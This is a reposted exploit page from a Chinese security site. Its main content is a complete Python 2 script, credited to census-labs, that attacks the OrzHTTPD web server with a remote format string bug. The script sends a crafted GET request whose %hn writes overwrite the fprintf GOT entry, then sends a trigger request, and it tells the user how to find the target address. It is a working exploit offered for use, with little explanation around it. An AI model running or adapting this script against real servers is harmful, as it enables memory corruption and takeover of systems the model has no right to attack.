首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OrzHTTPD remote format string exploit
来源:http://census-labs.com/ 作者:Argyroudis 发布时间:2009-12-04  
#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141

import os
import sys
import socket
import struct
import time
import urllib

GET = "GET "

def main(argv):
    argc = len(argv)

    if argc != 4:
        print "usage: %s <host> <port> <address>" % (argv[0])
        print "[*] find address with objdump -R orzhttpd | grep fprintf"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    addr = int(argv[3], 16)

    print "[*] target: %s:%d:%s" % (host, port, argv[3])

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)
    
    time.sleep(1)

    fmtstr = struct.pack('<LL', addr + 2, addr)
    fmtstr += "%.16650x%19$hn%.514x%20$hn"

    payload = GET
    payload += fmtstr

    print "[*] sending exploit format string to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()

    print "[*] sending trigger to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(GET)
    sd.close()
    
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe Illustrator CS4 version
·Vivid Ads Shopping Cart (prodi
·TEKUVA Password Reminder Authe
·PHP 'ini_restore()' Memory Inf
·HaiHaiSoft Universal Player ve
·SYMANTEC AV w/ INTEL FILE TRAN
·Golden FTP Server version 4.30
·PHP suffers from an ini_restor
·Exploit Title: XM Easy Profess
·Vivid Ads Shopping Cart suffer
·FreeBSD local root exploit tha
·Jasc Paint Shop pro version 8
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved